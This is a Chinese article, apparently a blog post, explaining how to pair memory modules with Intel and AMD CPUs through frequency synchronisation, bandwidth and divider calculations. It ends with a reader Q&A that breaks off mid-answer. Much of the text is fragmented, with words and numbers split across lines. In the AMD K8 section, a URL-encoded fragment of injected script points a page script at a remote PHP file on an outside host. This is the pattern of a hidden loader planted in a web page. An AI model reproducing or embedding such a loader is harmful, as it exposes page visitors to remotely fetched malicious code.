內存和CPU匹配方法詳解 -

目錄

1.

內存和CPU的

有關數據

2.

內存跟CPU

搭配的基本原則

3.

Intel

平臺實現頻率同步的方法

4.

Intel

平臺實現帶寬相等的計算方法

5.

Intel

平臺用主板調控內存運行參數的方法

6.在Intel 平臺沒有FSB了,怎么配內存

7.

內存的雙通道的設置問題

8.

AMD K8以前

配置內存的方法

9.在AMD K8時代內存的選配方法

10.在AMD K10平臺內存的選配方法

11.內存選配方法實例問答

12.內存和CPU配合實測結果的分析(見另文)

自從本人發表過《內存知識160

問》后,受到網友們的熱情關注。其中對內存如何跟CPU

搭配始終是熱門話題,僅一篇有關討論內存跟CPU匹配的文章,在短短兩三個月的時間,就有60余人次發表了評論。而且在評論中基本上都給予了積極地評價。這是很令人感動的。但是,在網上還有各式各樣的說法,有許多說法,我不敢茍同。為此,我想把對這個問題的觀點歸納一下,并把解決這個問題的方法表格化、數值化,以便使初步接觸這個問題的網友能夠自主進行計算,如果不會計算,你從我給出的表格中也會得到答案的。但是,可能有不妥之處。謹供網友們參考。

1.

內存和CPU的

有關數據

在正式討論問題之前,我們首先要把內存的核心頻率、時鐘頻率和數據頻率之間的關系搞清楚,

而且應該特別熟悉。這是討論這個問題的基礎。見下表:

1

內存名稱及各種頻率列表

由表1

可見,

核心頻率、時鐘頻率和數據頻率之間有固定的關系。它們之間的比例關系見表2

2.

內存的核心頻率、時鐘頻率和數據頻率之間的比例關系

其中的核心頻率又稱顆粒頻率或基本頻率;時鐘頻率又稱工作頻率、內存頻率、I/O

頻率、DRAM

、DRAM Frequency、時脈或內存速度;數據頻率又稱等效頻率或傳輸通道頻率。本文只采用“核心頻率”、“時鐘頻率”和“數據頻率”三個名稱。對這些名稱一定要弄清楚。

另外,有關CPU的名稱也是五花八門的。例如,主頻又稱Core Speed;外頻的名稱就更多了,如Bus Speed 、匯流排頻率、FSB(和前端總線混用)等。

2.內存和CPU搭配的

基本原則

我認為:無論你采用的CPU

Intel

,

還是AMD

,

當選配內存時都必須遵守三條基本原則。

第一條是頻率要同步:即內存的核心頻率要等于或稍大于CPU

的外頻。不要給內存加上它不能承受的高頻率,否則是頻率“過載”。頻率“過載”后,內存將拒絕工作。這樣,電腦是要藍屏的。當然,你給它加上低于核心頻率的頻率時,它會是勝任愉快的。

第二條是帶寬要匹配:應該設法使內存的數據帶寬跟CPU前端總線的帶寬相等,否則,數據的傳輸能力將受制于帶寬較低的那端;

第三條是主板要調控:因為以上兩個條件有時是不可能同時能滿足的。這就要靠主板來調控,調控的主要方法是異步設置。因為第一條是有關生或死的問題,所以,這一條必須滿足。第二條就可以靈活處理了。

另外,當討論內存跟CPU

如何搭配時,必須明確以下事項:

①內存的核心頻率小于外頻時,內存會拒絕工作。表現是藍屏。但是,在任何情況下,內存的核心頻率大于CPU

的外頻時,內存都能正常工作。但是,系統也不會承認它的高頻率。只承認它的核心頻率等于外頻。例如,你將DDR2-1066插入外頻是200MHz的板子上時,系統將認為這個內存是DDR2-800。

Intel

處理器的前端總線頻率(FSB

)是外頻頻率的4

倍。但是,在歷史上前端總線的頻率和外頻是同一個,所以,人們還是經常用FSB

來表示外頻(例如軟件CPU-Z

就是這樣,它表示的“FSB:DRAM”實際上是指“CPU的外頻:內存的時鐘頻率”)。

AMD的內存,在K8以前,也有前端總線,不過,那時的前端總線頻率是外頻頻率的兩倍。K8以后AMD的CPU就沒有前端總線了。

③當討論內存跟Intel

平臺的CPU

的匹配時,必須知道CPU

的外頻或前端總線頻率。知道一個就行,因為它們之間是四倍關系,此時,不必關心CPU

的主頻是多少。

不過,自從有了Intel的i3/i5/i7后,參照的CPU頻率已經不是外頻和前端總線FSB,而是基本頻率BF了。但是,在檢測軟件CPU-Z中,還是把BF頻率稱為外頻的。在這種情況下,怎樣配內存,請參看本文之6。

④當討論內存跟AMD

平臺的CPU

匹配時,首先必須明確這個CPU是K8的?K10的?還是K8以前的?因為這三種CPU陪內存的方法是截然不同的。

討論K8以前的CPU時,只需知道外頻或FSB;討論給K8的CPU配內存時,只需知道CPU的主頻,不要提HT總線,因為配內存跟HT總線無關;同樣的原因,當為K10配內存時,如果你不超頻,只需知道CPU或主板支持什么內存就可以了。因為K10架構的CPU配內存時是跟外頻掛鉤的,而AMD CPU的外頻是固定在200 MHz的。

⑤當討論內存跟CPU

的搭配關系時,是根據內存和CPU

的參數計算的,不必考慮主板。但是,當你對搭配方案作出選擇后,還必須考慮主板是否支持。在一般情況下,主板的頻率是應該高于FSB的頻率的。

⑥內存的異步就是使加給內存的頻率是它能正常工作的頻率。一般是指降頻。但是,頻率降下來的后果就是速度變慢和帶寬變窄。所有主板都支持內存異步運行的。但是,支持的程度不同。

⑦從內存跟CPU

是否搭配的角度看,配內存時,不必考慮內存的容量是多少。但是,容量超過一定大小時,有時是要考慮主板是否支持的。

⑧內存跟CPU

是否匹配,跟CPU

是幾個核沒有什么關系。

以上就是我認為內存匹配的三大原則和八項注意。

3.

Intel

平臺實現頻率同步的方法

Intel

平臺,內存頻率跟CPU

同步的條件就是:

內存的核心頻率必須等于或稍大于CPU

的外頻。
否則,就是“頻率過載”,內存將停止工作,主要的表現形式是藍屏。

雖然對我這個說法經常聽到不同的聲音。但是,我堅信我的這個歸納方法是完全能站得住腳的。因為內存能夠耐受多大的頻率,完全是由核心頻率決定的。時鐘頻率和數據頻率都是在核心頻率的基礎上,通過技術手段放大出來的。當核心頻率相等時,不同類型的內存會有不同的時鐘頻率和數據頻率。

例如,在Intel平臺,當外頻是200MHz

時,為了實現頻率同步,應該選DDR-400

DDR2-800

DDR3-1600

。因為這幾種內存的核心頻率都是200MHz。

這是十分重要的一條規律。但是,過去,人們都是把內存的同步條件說成“內存的時鐘頻率(而不是說“內存的核心頻率”)等于或稍大于外頻頻率就是同步”。更多的是模棱兩可的說法,比如說“內存的頻率等于或稍大于外頻,就是同步”。至今在網上的許多文章還是這樣說的。相當混亂。

我認為,在SD

DDR

時代,說“時鐘頻率和核心頻率相等就是同步”,是完全正確的。但是,在DDR2

DDR3

出現以后,再這樣說就是完全錯誤的,因為不同類型的內存。其核心頻率跟時鐘頻率是不同的。因此,兩種判別方法存在巨大差異。

不過,囿于習慣,人們還是愿意用時鐘頻率來跟CPU

的外頻對比。我認為,按時鐘頻率跟CPU

頻率對比的方法來判斷內存是否同步也不是不可以的。但是,必須把這個比作適當改動。比如說:“對于SDRAM

DDR

,當內存的時鐘頻率跟CPU

的外頻相等時,就是內存同步。例如,當外頻是200MHz時,應該配DDR-400的內存”;對于DDR2

,就應該說:“當內存的時鐘頻率是外頻的兩倍時,就是內存同步。例如,當外頻是200MHz時,應該配DDR2-800內存”;對于DDR3

,就應該說:“當內存的時鐘頻率是外頻的4

倍時,就是內存同步。例如當外頻是200MHz時,就應該配DDR3-1600內存”。這樣說不是太啰嗦了嗎!

可是,在檢測軟件CPU-Z

中,就是用CPU

的外頻(此處稱其為FSB

)跟時鐘頻率(此處稱為DRAM

)的比值關系表示內存是否同步的的。其關系見下表:

3

內存同步時,CPU

的外頻跟內存的時鐘頻率的頻率關系

內存的類型 DDR DDR2 DDR3 FSB:DRAM(即CPU的外頻跟內存時鐘頻率之比) 1:1 1:2 1:4

注:在檢測軟件CPU-Z中,就是用“FSB

”表示CPU

的外頻的,這是歷史形成的誤用。上表中的“DRAM

”是指時鐘頻率。

知道了以上原則,我們應該選什么樣的內存跟CPU

來匹配的問題也就迎刃而解了。我認為:對Intel的CPU在i3/i5/i7架構出現以前,只要能知道外頻或前端總線頻率(FSB

=4

倍外頻

)中的一個參數,就可以選擇合適的內存了。不同型號的內存有不同的計算方法。具體計算方法是:

①當在Intel平臺選擇DDR

內存時有:

DDR-×××后的三個“×”= FSB值÷2 (1)

例如,當Intel平臺的FSB是533MHz時,如果選擇DDR內存時,×××=533÷2=266,所以,應該選DDR-266型的內存。這樣選也符合“內存的核心頻率(133MHz)等于CPU外頻(133MHz)”的原則。

②當在Intel平臺選擇DDR2內存時有:

DDR2-×××后的三個“×”= FSB 值 (2)

例如,當Intel

平臺的FSB

800 MHz

時,如果選擇DDR2

內存時,×××=FSB

=800

,所以,應該選DDR2-800

型的內存。這樣選也符合“內存的核心頻率(200MHz)等于CPU外頻(200MHz)”的原則。

③當在Intel平臺選擇DDR3內存時有:

DDR3-××××后的四個“×”= FSB值×2 (3)

例如,當Intel

平臺的FSB

800 MHz

時,如果選擇DDR3

內存,就應該選四個“×”等于800

×2=1600的內存

,即應該選DDR3-1600

型的內存。這樣選也符合“內存的核心頻率(200MHz)等于CPU外頻(200MHz)”的原則。

 

 

下表就是我根據上述原則計算出來的、根據CPU

的參數來選擇內存的計算結果。這是根據頻率同步的條件計算出來的最高頻率。都存在向較低頻率異步的空間。(i3/i5/i7架構的CPU如何選內存,見本文的6)

4.

內存同步時外頻頻率跟內存型號的關系

注①:表中的“頻率比”是指同步的情況下,外頻跟時鐘頻率的比,即在CPU-Z

中的“FSB:DRAM

”值。如果CPU-Z

顯示的不是這個值,那就是內存頻率異步了。

根據CPU-Z中的“FSB:DRAM

”比,還可以很容易反求出來在電腦中安裝的(或設置的)是什么型號的內存。例如,當你的CPU

外頻是200 MHz

、而且安裝的內存是DDR2

時,如果CPU-Z

的顯示是“FSB:DRAM=1

1.66

”的話,

那就肯定你安裝的內存不是在同步狀態。因為DDR2內存同步時,其比是1:2。那么安裝的是什么內存呢?可以有下述方法計算出來:因為200:X

=1:1.66

,所以,

X=333

。這個

333

就是實裝內存的時鐘頻率值

333 MHz

,由此可以斷定,這個內存是

DDR2-667

注②:DDR

DDR2

DDR3

內存的針腳和插座都是不相同的,不能用錯。所以,當選擇主板時,要搞清楚主板支持哪類內存。目前,為了用戶方便,有的主板同時具有DDR2

DDR3

內存插槽。

4.

Intel

平臺實現帶寬相等的計算方法

什么是帶寬呢?在計算機領域,帶寬又叫頻寬,是指在固定的時間內可以傳輸的數據量,亦即在傳輸通道中可以傳遞數據的能力。帶寬通常以比特每秒(bps

)表示,即每秒可傳輸的位數。但是,為了簡化,通常都是以MB/s

GB/s

表示的。帶寬的計算方法是:

帶寬=

頻率×總線位數/8

4

因為電腦內存總線的傳輸位數是64比特,所以,對于頻率是800 MHz的通道來說,帶寬 = 800MHz×64b÷8b/B = 6.4 GB/s。

還有一個簡捷計算方法,就是

帶寬=頻率數×8B (5)

例如,當頻率等于800 MHz時,帶寬就是800 MHz×8B = 6400MB/s = 6.4GB/s。

在表1

中已經給出了不同頻率和帶寬關系的計算結果。

這里說的帶寬匹配,實際上就是頻率的匹配。對于我們普通使用者,還是按頻率來論述比較直觀,因為帶寬相等,就是頻率相等。

帶寬匹配的原則是:內存的數據帶寬應該跟CPU

前端總線FSB

的帶寬相等,或者說:“內存的數據頻率等于CPU的FSB

頻率,就是帶寬匹配”。只有這樣才能保證數據的順利傳輸。如果有一方的帶寬小于另一方,小帶寬的一方就構成了“瓶頸”。但是,如果CPU

已經選定了,內存的帶寬大一些,并沒有壞處。

在滿足同步的條件下,對DDR2

來說,就會自動滿足帶寬相等的要求,即可以做到內存的傳輸帶寬等于前端總線的帶寬;但是,對DDR

來說,如果滿足了同步的要求,內存的帶寬僅是FSB

帶寬的1/2

;對于DDR3

來說,如果滿足了同步的要求,內存的帶寬就是FSB

帶寬的兩倍。這種關系見下表。

5

內存同步時,FSB

的帶寬跟內存數據通道的帶寬的關系

內存的類型

DDR

DDR2

DDR3

FSB

的帶寬:內存數據通道的帶寬

2

1

1

1

1

2

對內存的同步要求是生或死的問題,所以,必須滿足,如果不能滿足,必須采取異步運行。但是,對于帶寬的要求則比較靈活一些。如果不能滿足,也可以用雙通道或異步的方法來解決。在DDR時代就是利用雙通道的方法解決內存帶寬是“瓶頸”的問題的。但是,如果不組成雙通道,只用一個內存條,只要頻率是同步的,也可以正常工作。

在AMD平臺,其內存控制器置入CPU內部了。即CPU直接跟內存打交道了。帶寬的問題,已經沒有那么重要了。

5.

Intel

平臺用主板調控內存運行參數的方法

①主板的自動調控作用

其實,根據內存的同步要求選擇出來的內存(見表4

)就可以正常使用了。但是,也有例外的情況。比如:

有的時候,按計算結果,應該用DDR2-800

內存才能同步,但是,你手頭沒有DDR2-800,

只有DDR2-667

內存,并安裝上去了。怎么辦呢?要靠主板的調控。只要你沒有在BIOS中的“MemClock Mode”中選“Manual”,也沒有在“System Memory Multiplier”項更改默認設置“Auto”,主板就會自動根據內存條上SPD資料把加于內存的時鐘頻率降到333MHz

,以使DDR2-667

內存的頻率不過載。這時CPU-Z

的“FSB:DRAM

”就是“1:1.66

,

而不是“1:2

”。這樣調整過后,速度降低了,內存的帶寬也變小了一些,但是,可以正常運行。

還有,如果滿足內存同步需要的內存是DDR2-800

,而你卻安裝或設置了DDR2-1066

內存,主板也會把加給內存的頻率按DDR2-800

對待,CPU-Z

對“FSB:DRAM

”的顯示還是“1:2

,

不會顯示“1:2.66

。但是,如果你是把內存超頻到1066MHz

的,CPU-Z

則會顯示“1:2.66

主板的手動調控方法

如果你要自己用手動設置內存也是可以的。方法是:在BIOS

的“Set Memory Clock

”項選“Manual

(

手動)

;或在“System Memory Multiplier

”項不選擇“Auto

”,而是選擇你實際安裝在內存插槽上的內存,設置就會成功的。當然,還是需要主板支持的,也就是說,如果主板上有種這種設置項目才行。

手動設置的選項有多種方法。有的直接用內存芯片名稱表示(如華碩的P5E3 WS

主板,直接用諸如DDR3-1333表示);有的用數字表示(如技嘉GA-P31-S3G

主板就用3.33或4.0表示。3.33就表示DDR2-667內存);當然,有的主板則是用FSB :DRAM的比值表示。

6.在Intel平臺沒有FSB了,怎么配內存?

Intel酷睿 i3/i5/i7 CPU

是把內存控制器置于

CPU

內部了。內存控制器控制的

QPI

QuickPath Interconnect

,快速通道互聯

)總線頻率遠高于傳統的

FSB

(一般是外頻的

18

倍),因此,為它選配內存的空間范圍也大多了。例如,在過去,當外頻是

133MHz

時,

FSB =

4

×133 mHz =

533MHz

,這種關系是固定的。如果選

DDR

內存,最高是

DDR-266

;如果選

DDR2

內存,最高是

DDR2-533

;如果

DDR3

內存,最高是

DDR3-1066

。如果你選擇更高頻率的內存,系統是不承認的,它只能把它們作降格處理。實際上

FSB

成了“瓶頸”。

自從有了

QPI

總線以后,選擇內存的條件就寬松多了。這時CPU-Z上顯示的“外頻”133 MHz,已經不是傳統意義上的外頻了。它被稱為基頻(BF)。因此,它跟內存頻率之間的同步關系也就改變了。例如,當“外頻”(基頻)是

133 MHz

時,甚至可以選用

DDE3-1600

內存了。不過,也不是無限制的。限制到什么程度?這就看

CPU

或主板的規定了。不過,有個大概估算辦法,就是內存的數據頻率大致是

QPI

頻率的

1/2

。具體是多少,要看內存控制器和主板支持到什么程度,不是用戶能左右的。

7

.

內存的雙通道的設置問題

首先應該明確,雙通道只是為了增大內存的帶寬而設計的,因為,在DDR

時代,CPU

FSB

已經達到800 MHz

了,但是,從頻率同步的角度看,只能配DDR-400

的內存。顯然,內存的帶寬只是FSB

帶寬的1/2

,內存成了帶寬匹配的“瓶頸”,因為CPU有一半的時間要等內存把數據傳過來。因此,人們提出了雙通道的概念。即在北橋再增加一個內存控制器,另外再增加一個DDR-400

內存,使兩個DDR-400

的內存并聯使用,帶寬的匹配問題得以解決。

但是,因為雙通道中的兩個內存是分別受兩個內存控制器控制的,組成雙通道后,只對內存的帶寬有改善,對每個內存的性能指標(如核心頻率)并沒有任何改善。因此,用兩個DDR-400

組成雙通道時,其性能

并不是

DDR-800

網上廣泛流傳的“用兩個

DDR2-533

組成雙通道,用在

FSB=1066 MHz

平臺,就是絕配”的說法是錯誤的。因為

DDR2-533

的核心頻率是

533MH

z

÷4

=166MHz

,而

FSB=1066MHz

時的外頻是

1066MH

z

÷4

=266MHz

。兩個頻率并不相等。也就是說,這樣配,并不能滿足同步條件。硬要這樣配電腦是要藍屏的。因為內存組成雙通道后,他們的核心頻率并不會提高。

雙通道的作用可以這樣比喻:馬路很寬,可以容得下兩輛汽車,可是,只有一輛車來回跑,這不是浪費嗎?再買一輛汽車吧,讓它們在一條路上并行跑,貨運量不就增加一倍了嗎!由此可見,雙通道只是解決貨運量(帶寬)的問題。并不是把汽車的速度加倍的問題。也就是說:兩個DDR2-533組成雙通道,只能提高帶寬,并不能提高內存的頻率,兩個DDR2-533組成雙通道后,其效果并不等于一個DDR2-1066。

當然,如果你一定把

DDR2-533

用于

FSB=1066 MHz

的平臺,也不是不可能,方法就是異步,使加給

DDR2-533

的頻率降下來。但是,主板支持嗎?如果是支持的,那么,需要異步運行才可以,這算是“絕配”嗎?

8.

AMD CPU

K8以前內存的配置方法

在K8以前,AMD內存也有前端總線(FSB),但是,跟Intel內存有一點點差別,就是前端總線頻率是外頻的兩倍(Intel是4倍)。因為內存的同步與否是考慮外頻的,所以,當外頻跟內存的核心頻率相等時就是同步。因此,外頻是133MHz時,應該配DDR-266內存;外頻是166MHz時,應該配DDR-333內存;外頻是200MHz時,應該配DDR-400內存。這些都跟Intel平臺是一致的。不同的是:在AMD平臺,頻率同步了的話,帶寬也平衡了。所以,在當時的AMD平臺就不存在雙通道的問題。

9.AMD CPU K8 時代內存的選配方法

AMD

K8

以后的CPU

中,內存控制器被整合到CPU

內部了(見下圖),內存直接跟CPU

打交道了。前端總線不存在了,跟北橋相連的總線改稱HT

總線了,這個總線除了不再跟內存

聯系外,其它的作用跟原前端總線的任務是相同的。

正是由于有了上述改變,所以,在

AMD

平臺配內存時,內存跟

CPU

的搭配的計算方法也有了很大的變化。因為這時我們關心的只是

CPU

的主頻。無需再考慮

FSB

和外頻了。現在介紹內存跟AMD的

CPU

的搭配方法如下:

首先計算出內存控制器的分頻倍數

DIV

(這種計算是由電腦自動進行的,當然我們也應該掌握):

DIV= CPU

的標稱主頻÷你在

BIOS

中設置的內存的時鐘頻率

6

這個設置的時鐘頻率最好跟你實際安裝的內存一致。如果不一致,電腦還是根據你的設置值進行計算的。

如果

DIV

的計算結果不是整數,則進為整數,例如,將

7.4

進為

8

。如果計算出來的分頻系數小于

5,

則取為

5

。上述這些方法都是

AMD

的設計規定。

知道了內存分頻倍數

DIV

以后,通過內存的實際時鐘頻率用下式計算:

內存的實際時鐘頻率

= CPU

的實際主頻÷內存的分頻倍數

7

知道了內存的時鐘頻率,就可以知道怎樣配內存了。比如,你計算出來的時鐘頻率是是

200MHz

,而且是選擇

DDR

內存,就應該配

DDR-400

;你計算出來的時鐘頻率是是

400MHz

,如果想配

DDR2

,則應該選

DDR2-800

;如果你計算出來的時鐘頻率是400MHz,想配

DDR3

內存,還是應該配

DDR3-800

。因為不管是什么型號的內存,數據頻率總是時鐘頻率的兩倍。

1: CPU

AMD

速龍(

Athlon

64 3200+,

主頻是

2.0 GHz

,如果打算選用

DDR-400

的內存并在

BIOS

做這樣的設置時,問:①

分頻倍數是多少?②

通過內存的實際頻率是多少?

解:①

因為

CPU

的主頻等于

2000MHz

DDR-400

的時鐘頻率等于

400MHz/2=200MHz

,所以,內存的分頻倍數

DIV=2000 MHz

÷

200 MHz=10;

因為沒有對CPU進行超頻,所以,它的主頻還是2000MHz,所以,

通過內存的實際總線頻率=2000 MHz

÷

10=200 MHz

即相當是DDR-400。因此,選擇

DDR-400

內存是可以的。當然,如果主板允許,也可以用兩個

DDR400

組成雙通道。以增大數據傳輸量。

2: CPU

是閃龍

3200+,

主頻是

1.8 GHz

,如果選用

DDR2-800

的內存時,問:①

分頻倍數數是多少?②

通過內存的實際時鐘頻率是多少?(3)如果把主頻超到2400 MHz時,應該怎樣選擇內存?

解:①

分頻系數

DIV=1800 MHz

÷

400 MHz=4.5,

應向上取為

5;

通過內存的實際時鐘頻率

=1800 MHz

÷

5=360 MHz

。內存降格使用為

DDR2-720

。因為內存的頻率是向下兼容的,主板都會支持這樣的內存。所以,這樣配置也是可以的。

(3)如果把主頻超到2400 MHz了,則通過內存的時鐘頻率就是2400 MHz÷5=480 MHz,即需要選擇DDR2-960內存。選DDR2-1066吧。(但是,因為主頻太低,還要看內存控制器或主板是否支持)

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">下圖就是我根據以上原則把計算結果表格化了,為了簡化,在表中沒有把分頻系數列出來。表中有灰色底紋的數字表示計算出來的分頻系數小

5

。因此,求這些時鐘頻率時,分頻倍數是按分頻系數等于

5

計算的。

我相信

,

有這個表作參考

,

內存怎樣跟

CPU

配合就是十分清楚的了。

現在,我們用上面的兩個例題為例,研究一下怎么從下表中直接得出配內存的結果:(注:字體時大時小,不是作者的設置,是日志編輯功能的毛病。剛改版,還不完善。氣煞人也!)

在第一個例題中的

CPU

頻率是

2GHz,

BIOS

中設置的內存是

DDR-400,

因此從這個表就可以查得通過內存的時鐘頻率是

200MHz,

即該內存運行在

DDR-400。這樣選頻率正好匹配。

第二個例題

:CPU

主頻是

1.8GHz,

選得是

DDR2-800

內存

從表中可以查得內存的運行頻率是

360MHz,

當是

DDR2-720

內存。從表中還可以看出:如果你想使這個內存運行在DDR2-800,只有選2.0GHZ或以上的CPU。如果CPU的主頻依舊是1.8GHz的話,即使你選用DDR2-1066也于事無補,它只會把內存降格為DDR2-720。有許多網友問:我安裝的內存頻率頻率很高,但是,在CPU-Z中檢測出來的頻率又很低呢?主要原因是你安裝的CPU的頻率太低,主板并不支持頻率過高的內存的緣故。

表6 AMD的CPU跟內存配合方法一覽表

在本表中沒有列出相應的分頻系數,因而不利于超頻時使用。其實,如果做超頻操作時,只需把表中的數據乘以“超頻后的CPU主頻/超頻前的CPU主頻”就可以得到超頻后加于內存的時鐘頻率了。

從這個表我們就可以清楚地看出來應該怎樣選擇內存了。比如,當CPU的主頻是1600 MHz時,配DDR-400就可以了;當CPU的主頻是2000 MHz時,配DDR2-800是正合適的;當CPU的主頻是3200 MHz時,配DDR3-1066正合適。我猜想:主板的設計者就是按這個思路來設定主板默認的內存頻率的。

這個表是在K8

的條件下根據CPU

和內存的參數做出的,目前已經發展到K10

(似乎沒有K9

),因此,情況稍有變化。

還有一個重要因素也不容忽視,那就是除了主板支持外,內存控制器是否支持這個頻率。如果控制器不支持,只有主板支持也是不行的。

如此說來,上表僅是一個原則設定,如果你用CPU-Z

進行檢測時,其結果跟上表不符,就要從多方面找原因了。

10.AMD

K10

CPU

內存的匹配方法

AMD

K10

CPU

內存匹配的方法和計算方法較之K8

有了很大的變化。其計算順序是:

第一步:了解你選定的CPU

支持什么樣的內存。比如,可以是DDR2-800

DDR3-1333

等;并且在BIOS

的“DRAM Frequency

”項中設置這個內存。當然也可以設置其他型號的內存。系統并不理會你插的是什么內存,而是根據你的設置的內存進行計算的;

第二步:根據

BIOS

中設定的內存

計算出分頻系數

內存的分頻系數

=

BIOS

中設定的內存的數據頻率÷外頻

(8

內存的數據頻率值是多大,可以從內存的型號中知道。例如,

DDR2-800

的數據頻率就是

800MHz

DDR3-1333

的數據頻率就是

1333MHz

。依此類推。

由式(8

)可知,當在

BIOS

中設定的內存是

DDR2-800

時,

800 MH

z

÷200 MHz

=4,

即分頻系數

=4

;當在

BIOS

中設置的外頻是

DDR3-1333

,1333MH

z

÷200MHz

=6.67

,即分頻系數等于

6.67

第二步:根據下式計算出通過內存的實際數據頻率

內存中的實際數據頻率

=

實際外頻×分頻系數

(9

1

:在

BIOS

中把內存設定為

DDR2-800

時,如果把外頻超到

230MHz

后,通過內存的數據頻率是多少?

答:因為

DDR2-800

的數據頻率是

800 MHz

,而

AMD

CPU

的標稱外頻是

200 MHz

,因此,分頻系數等于

80

0 MHz

÷200MHz

=4

。根據式(9

)可以計算出通過內存的數據頻率是

230 MH

z

×4

=920 MHz

即相當是超到了

DDR2-920

。體質不好的

DDR2-800

內存是承受不了的。最好是安裝

DDR2-1066

內存。

下表就是在

BIOS

中設置的內存的數據頻率跟分頻系數的計算結果。在表中給出的內存都是實有其型號的。但是,在主板的列表中,可能有

DDR2-1111

DDR2-1200

之類的設置。本表沒有列入它們,如果遇到有這樣的設置時,讀者可自行計算。

表7.AMD K10 CPU的分頻系數

注:表中的FSB:DRAM是檢測軟件CPU-Z的相應檢測結果。

2.

使用的是

AMD

K10 CPU

,在

BIOS

中設置的內存是

DDR3-1333

,主板也支持,沒有超頻。請問:在內存中的數據頻率是多少?

答:由上表可以查出,在這種情況下,內存系數是

6.67

,因此,內存中的實際數據頻率是

200MHz

×6.67

=1333MHz

由這個例題可以看出來:如果不考慮超頻時,實際外頻和標稱外頻是相等的,都等于

200MHz

。因此,由式(8

)可知:內存的實際數據頻率就等于你在

BIOS

中設置的內存的數據頻率。所以,在

K10

中如何選配內存的問題就變得十分簡單了。簡單到可以這樣說:當給

AMD

K10

CPU

配內存時,你在

BIOS

中設置什么樣的內存,在內存中的頻率就是你設置的頻率。但是,大前題是

CPU的內存控制器

和主板支持。你把

CPU

支持內存條插入后,系統怎樣運行這個內存,你不必管它,只管讓它“

Aout

”或“

By SPD

”。但是,如果你想對它進行手工設置,可以把

BIOS

的“

Memory Clock Mode

”項設置為“

Manual

”(手動模式),然后用上述方法進行設置即可。

11.內存選配方法實例問答

問1:在Intel平臺,如果外頻是200 MHz,假如我選擇DDR內存,應該是什么型號的?如果選DDR2內存,應該選什么型號的?

答:根據內存核心頻率等于或不小于外頻的原則,選DDR時,應該選DDR-400;選DDR2時,應該選DDR2-800。

問2:在Intel平臺的FSB=800 MHz時,如果安裝DDR2-1066內存,將會是什么情況?

答:因為系統向內存提供的時鐘頻率最大僅為

400MHz

,而

DDR2-1066

需要

533MHz

。因此,系統將會把

DDR2-1066

當作是體質好的

DDR2-800

對待。

問3:在Intel平臺的FSB=1066MHz時,如果安裝DDR2-800內存,將會是什么情況?

答:因為系統向內存提供的時鐘頻率最大為

533MHz

,而

DDR2-800

所能耐受的時鐘頻率是

400MHz

。因此,內存需異步運行,即把加給內存的時鐘頻率降下來。這項降頻工作就是我們所說的異步。異步是由主板自動進行的。當然也可以由人工操作。

問4:我的CPU

AMD

的K8,主頻是2600 MHz

。主板也支持DDR2-800

,可是,我安裝上去以后,CPU-Z

的檢測結果是:

頻率只有371.4 MHz

。這為什么?

答:讓我們計算一下:2600 MHz/400 MHz=6.5

,進為7

2600 MHz/7=371.4 MHz

,相當DDR2-743

。所以,你說的情況是正常的。在AMD

平臺,內存的實際頻率是經常被壓低的。

問5:我的CPU

AMD

的k8,主頻是2200 MHz,

安裝的是DDR2-667

。為什么在CPU-Z

上面看到的DRAM

(內存時鐘頻率)是314

左右?而不是667/2=333

答:讓我們計算一下:因為你設置的是DDR2-667內存,所以有 2200 MHz/333MHz = 6.6

,應取為7

2200 MHz/7=

314 MHz

。由此可知,你的電腦是正常的。在AMD

平臺,不是你設置了什么頻率,通過內存頻率就是你設置的頻率的。

問6:在AMD平臺,用CPU-Z檢測時,“前端總線:內存”是“CPU/9

是什么意思?

答:

AMD

平臺

CPU-Z

檢測電腦

的頻率時,如

“前端總線:

DRAM

頻率”項表示為“

CPU/9

,

其中的

CPU

表示你的

CPU

的主頻,“

9

表示的是分頻系數。如果你的

CPU

的主頻是

1.8

GHz

,那么,

1800

MHz/9=2

00

MHz

。這就是說,你的內存的時鐘頻率是

2

00

MHz

問7:當用CPU-Z檢測電腦時,在“前端總線:內存”項出現“3:8

是什么意思?

答:因為

AMD

CPU

其外頻都是

200MHz

因此

有“

3:8=200:X

”,

由此得

X=200

×

8

÷

3=533

,即你在電腦中的內存的時

頻率為

533

MHz

。所以,這個內存可能是

DDR2

-

1066

也可能是

DDR3

-

1066

問8:我的AMD的CPU主頻為3000 MHz,我選用DDR3-1333內存。可是,用CPU-Z檢測時,“FSB:DRAM=3:8

。這是什么意思?

答:在AMD

平臺,其比是“3:8

”,就是說其時針頻率是533MHz

,相當DDR3-1066

。你的DDR3-1333

是被降格使用了。為什么要降格?這就要看主板的設置了,也可能主板的默認設置就是DDR3-1066

,也可能CPU

的內存控制器最大支持到1066MHz

。如果不是內存控制器不支持,只要是主板支持,你把它的頻率設置成667 MHz

也是可以的。

問9:我

的是

AMD K8

CPU

,主頻是

2800

MHz

。應該選什么樣的內存?

答:從表6可以看出,在你的這種情況下,選擇

DDR2-800

就可以了。選

DDR2-1066

似乎高了一些。因為你的

CPU

主頻比較低,選擇

DDR3

不一定合適。但是,還要看主板和內存控制器是否支持。

問10.我的AMD 8650 CPU匹配的是DDR2-800內存條。我把外頻超到240MHz后,為什么CPU-Z顯示的內存頻率是480MHz?

答:分頻系數是800 MHz/200 MHz=4。所以,你的內存的數據頻率是240 MHzX4=960MHz,即相當是DDR2-960。它的時針頻率恰好是960MHz/2=480MHz。所以,CPU-Z的顯示是完全正確的。

當為AMD

CPU

選配內存時,一定要搞清楚這個CPU

K8

K10

?或是K8

以前的。因為三種類型的CPU

有不同的匹配內存的方法。

11

HT

的頻率跟內存的頻率有什么關系?

答:因為AMD

的內存控制器在CPU

內部,直接受CPU

控制。內存總線跟HT

總線雖然都源于CPU

,但是,各走各的路;各有各的任務(見本文的附圖),彼此沒有什么關系。因此,當選配內存時,不必考慮HT

總線的頻率。

但是,當采用需要共享內存作為顯存的集成顯卡時,二者是有一些關聯的。但是,當考慮匹配內存時,無需考慮這些。

12

:為AMD

平臺配內存時,還需要考慮內存的帶寬跟CPU

帶寬的匹配嗎?

答:因為在AMD

平臺,內存直接跟CPU

打交道了,CPU

的帶寬就是內存的帶寬。因此,當選配內存時,CPU

的帶寬跟內存的帶寬匹配問題可以不再單獨考慮。按本文所介紹的方法選配內存就可以了。

但是,在K8

時代,如果是DDR2-800

的內存,CPU

的主頻必須提高到2.8Ghz

時,才能把它當DDR2-800

使用,實際上這也是帶寬的匹配問題。

13

:什么是MCT?

什么是DCT?

答:MCT

Memory Controller

